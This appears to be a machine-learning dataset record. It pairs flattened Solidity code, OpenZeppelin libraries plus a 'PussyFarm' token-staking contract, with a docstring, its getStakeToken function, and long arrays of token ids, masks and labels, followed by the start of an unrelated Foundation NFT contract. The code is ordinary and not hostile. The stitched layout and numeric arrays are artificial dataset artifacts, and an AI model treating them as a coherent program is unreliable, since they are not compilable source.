require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File @openzeppelin/contracts/math/[email protected]
pragma solidity ^0.7.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File @openzeppelin/contracts/math/[email protected]
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
pragma solidity ^0.7.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/IPussyFarm.sol
pragma solidity 0.7.6;
interface IPussyFarm {
event Staked(address indexed account, uint256 amount);
event Withdrawn(address indexed account, uint256 amount);
event Claimed(address indexed account, uint256 reward);
function getProgram()
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function getStakeToken() external view returns (IERC20);
function getRewardToken() external view returns (IERC20);
function getStake(address account) external view returns (uint256);
function getClaimed(address account) external view returns (uint256);
function getTotalStaked() external view returns (uint256);
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getPendingRewards(address account) external view returns (uint256);
function claim() external returns (uint256);
}
// File contracts/PussyFarm.sol
pragma solidity 0.7.6;
contract PussyFarm is IPussyFarm, Ownable {
using Math for uint256;
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 private constant RATE_FACTOR = 1e18;
IERC20 internal immutable _stakeToken;
IERC20 internal immutable _rewardToken;
uint256 internal immutable _startTime;
uint256 internal immutable _endTime;
uint256 private immutable _rewardRate;
mapping(address => uint256) internal _stakes;
uint256 internal _totalStaked;
uint256 private _lastUpdateTime;
uint256 private _rewardPerTokenStored;
mapping(address => uint256) private _stakerRewardPerTokenPaid;
mapping(address => uint256) private _rewards;
mapping(address => uint256) private _claimed;
/**
* @dev Constructor that initializes the contract.
*/
constructor(
IERC20 stakeToken,
IERC20 rewardToken,
uint256 startTime,
uint256 endTime,
uint256 rewardRate
) {
require(address(stakeToken) != address(0) && address(rewardToken) != address(0), "INVALID_ADDRESS");
require(startTime < endTime && endTime > _time(), "INVALID_DURATION");
require(rewardRate > 0, "INVALID_VALUE");
_stakeToken = stakeToken;
_rewardToken = rewardToken;
_startTime = startTime;
_endTime = endTime;
_rewardRate = rewardRate;
}
/**
* @dev Updates msg.sender's pending rewards and rate.
*/
modifier updateReward() {
_rewardPerTokenStored = _rewardPerToken();
_lastUpdateTime = Math.min(_time(), _endTime);
_rewards[msg.sender] = _pendingRewards(msg.sender);
_stakerRewardPerTokenPaid[msg.sender] = _rewardPerTokenStored;
_;
}
/**
* @dev Returns the parameters for this vesting contract.
*/
function getProgram()
external
view
override
returns (
uint256,
uint256,
uint256,
uint256
)
{
return (_startTime, _endTime, _rewardRate, _endTime.sub(_startTime).mul(_rewardRate));
}
/**
* @dev Returns the stake token.
*/
function getStakeToken() external view override returns (IERC20) {
return _stakeToken;
}
/**
* @dev Returns the reward token.
*/
function getRewardToken() external view override returns (IERC20) {
return _rewardToken;
}
/**
* @dev Returns the current stake of a given account.
*/
function getStake(address account) external view override returns (uint256) {
return _stakes[account];
}
/**
* @dev Returns the total claimed rewards amount for a given account.
*/
function getClaimed(address account) external view override returns (uint256) {
return _claimed[account];
}
/**
* @dev Returns the total staked tokens in the contract.
*/
function getTotalStaked() external view override returns (uint256) {
return _totalStaked;
}
/**
* @dev Stakes the specified token amount into the contract.
*/
function stake(uint256 amount) public virtual override updateReward {
require(amount > 0, "INVALID_AMOUNT");
_stakes[msg.sender] = _stakes[msg.sender].add(amount);
_totalStaked = _totalStaked.add(amount);
_stakeToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
/**
* @dev Unstakes the specified token amount from the contract.
*/
function withdraw(uint256 amount) public virtual override updateReward {
require(amount > 0, "INVALID_AMOUNT");
claim();
_stakes[msg.sender] = _stakes[msg.sender].sub(amount);
_totalStaked = _totalStaked.sub(amount);
_stakeToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
/**
* @dev Returns the pending rewards for a given account.
*/
function getPendingRewards(address account) external view override returns (uint256) {
return _pendingRewards(account);
}
/**
* @dev Claims pending rewards and sends them to the owner.
*/
function claim() public virtual override updateReward returns (uint256) {
uint256 reward = _pendingRewards(msg.sender);
if (reward == 0) {
return reward;
}
_rewards[msg.sender] = 0;
_claimed[msg.sender] = _claimed[msg.sender].add(reward);
_rewardToken.safeTransfer(msg.sender, reward);
emit Claimed(msg.sender, reward);
return reward;
}
/**
* @dev Admin-only emergency transfer of contract owned funds. Please note that community funds are excluded.
*/
function withdrawTokens(IERC20 token, uint256 amount) external onlyOwner {
require(
address(token) != address(_stakeToken) || amount <= token.balanceOf(address(this)).sub(_totalStaked),
"INVALID_AMOUNT"
);
token.safeTransfer(msg.sender, amount);
}
/**
* @dev Calculates current reward per-token amount.
*/
function _rewardPerToken() private view returns (uint256) {
if (_totalStaked == 0) {
return _rewardPerTokenStored;
}
uint256 currentTime = _time();
if (currentTime < _startTime) {
return 0;
}
uint256 stakingEndTime = Math.min(currentTime, _endTime);
uint256 stakingStartTime = Math.max(_startTime, _lastUpdateTime);
if (stakingStartTime == stakingEndTime) {
return _rewardPerTokenStored;
}
return
_rewardPerTokenStored.add(
stakingEndTime.sub(stakingStartTime).mul(_rewardRate).mul(RATE_FACTOR).div(_totalStaked)
);
}
/**
* @dev Calculates account's pending rewards.
*/
function _pendingRewards(address account) private view returns (uint256) {
return
_stakes[account].mul(_rewardPerToken().sub(_stakerRewardPerTokenPaid[account])).div(RATE_FACTOR).add(
_rewards[account]
);
}
/**
* @dev Returns the current time (and used for testing).
*/
function _time() internal view virtual returns (uint256) {
return block.timestamp;
}
} | * @dev Returns the stake token./ | function getStakeToken() external view override returns (IERC20) {
return _stakeToken;
}
| 257,538 | [
1,
1356,
326,
384,
911,
1147,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
21491,
911,
1345,
1435,
3903,
1476,
3849,
1135,
261,
45,
654,
39,
3462,
13,
288,
203,
3639,
327,
389,
334,
911,
1345,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
・
* ★
・ 。
・ ゚☆ 。
* ★ ゚・。 * 。
* ☆ 。・゚*.。
゚ *.。☆。★ ・
` .-:::::-.` `-::---...```
`-:` .:+ssssoooo++//:.` .-/+shhhhhhhhhhhhhyyyssooo:
.--::. .+ossso+/////++/:://-` .////+shhhhhhhhhhhhhhhhhhhhhy
`-----::. `/+////+++///+++/:--:/+/- -////+shhhhhhhhhhhhhhhhhhhhhy
`------:::-` `//-.``.-/+ooosso+:-.-/oso- -////+shhhhhhhhhhhhhhhhhhhhhy
.--------:::-` :+:.` .-/osyyyyyyso++syhyo.-////+shhhhhhhhhhhhhhhhhhhhhy
`-----------:::-. +o+:-.-:/oyhhhhhhdhhhhhdddy:-////+shhhhhhhhhhhhhhhhhhhhhy
.------------::::-- `oys+/::/+shhhhhhhdddddddddy/-////+shhhhhhhhhhhhhhhhhhhhhy
.--------------:::::-` +ys+////+yhhhhhhhddddddddhy:-////+yhhhhhhhhhhhhhhhhhhhhhy
`----------------::::::-`.ss+/:::+oyhhhhhhhhhhhhhhho`-////+shhhhhhhhhhhhhhhhhhhhhy
.------------------:::::::.-so//::/+osyyyhhhhhhhhhys` -////+shhhhhhhhhhhhhhhhhhhhhy
`.-------------------::/:::::..+o+////+oosssyyyyyyys+` .////+shhhhhhhhhhhhhhhhhhhhhy
.--------------------::/:::.` -+o++++++oooosssss/. `-//+shhhhhhhhhhhhhhhhhhhhyo
.------- ``````.......--` `-/+ooooosso+/-` `./++++///:::--...``hhhhyo
`````
*
・ 。
・ ゚☆ 。
* ★ ゚・。 * 。
* ☆ 。・゚*.。
゚ *.。☆。★ ・
* ゚。·*・。 ゚*
☆゚・。°*. ゚
・ ゚*。・゚★。
・ *゚。 *
・゚*。★・
☆∴。 *
・ 。
*/
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
import "./mixins/OZ/ERC165.sol";
import "./mixins/OZ/ERC721Upgradeable.sol";
import "./mixins/FoundationTreasuryNode.sol";
import "./mixins/roles/FoundationAdminRole.sol";
import "./mixins/roles/FoundationOperatorRole.sol";
import "./mixins/HasSecondarySaleFees.sol";
import "./mixins/NFT721Core.sol";
import "./mixins/NFT721Market.sol";
import "./mixins/NFT721Creator.sol";
import "./mixins/NFT721Metadata.sol";
import "./mixins/NFT721Mint.sol";
import "./mixins/AccountMigration.sol";
import "./mixins/NFT721ProxyCall.sol";
import "./mixins/ERC165UpgradeableGap.sol";
/**
* @title Foundation NFTs implemented using the ERC-721 standard.
* @dev This top level file holds no data directly to ease future upgrades.
*/
contract FNDNFT721 is
FoundationTreasuryNode,
FoundationAdminRole,
FoundationOperatorRole,
AccountMigration,
ERC165UpgradeableGap,
ERC165,
HasSecondarySaleFees,
ERC721Upgradeable,
NFT721Core,
NFT721ProxyCall,
NFT721Creator,
NFT721Market,
NFT721Metadata,
NFT721Mint
{
/**
* @notice Called once to configure the contract after the initial deployment.
* @dev This farms the initialize call out to inherited contracts as needed.
*/
function initialize(address payable treasury) public initializer {
FoundationTreasuryNode._initializeFoundationTreasuryNode(treasury);
ERC721Upgradeable.__ERC721_init();
NFT721Mint._initializeNFT721Mint();
}
/**
* @notice Allows a Foundation admin to update NFT config variables.
* @dev This must be called right after the initial call to `initialize`.
*/
function adminUpdateConfig(
address _nftMarket,
string memory baseURI,
address proxyCallContract
) public onlyFoundationAdmin {
_updateNFTMarket(_nftMarket);
_updateBaseURI(baseURI);
_updateProxyCall(proxyCallContract);
}
/**
* @dev This is a no-op, just an explicit override to address compile errors due to inheritance.
*/
function _burn(uint256 tokenId) internal override(ERC721Upgradeable, NFT721Creator, NFT721Metadata, NFT721Mint) {
super._burn(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, HasSecondarySaleFees, NFT721Mint, ERC721Upgradeable, NFT721Creator, NFT721Market)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
/**
* From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.2.0/contracts/utils/introspection/ERC165.sol
* Modified to support Solidity 0.7
*/
pragma solidity ^0.7.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// solhint-disable
/**
* From https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/v3.4.0/contracts/token/ERC721/ERC721Upgradeable.sol
* Modified in order to:
* - make `_tokenURIs` internal instead of private.
* - replace ERC165Upgradeable with ERC165.
* - set the name/symbol with constants.
*/
pragma solidity >=0.6.0 <0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721MetadataUpgradeable.sol";
import "./IERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol";
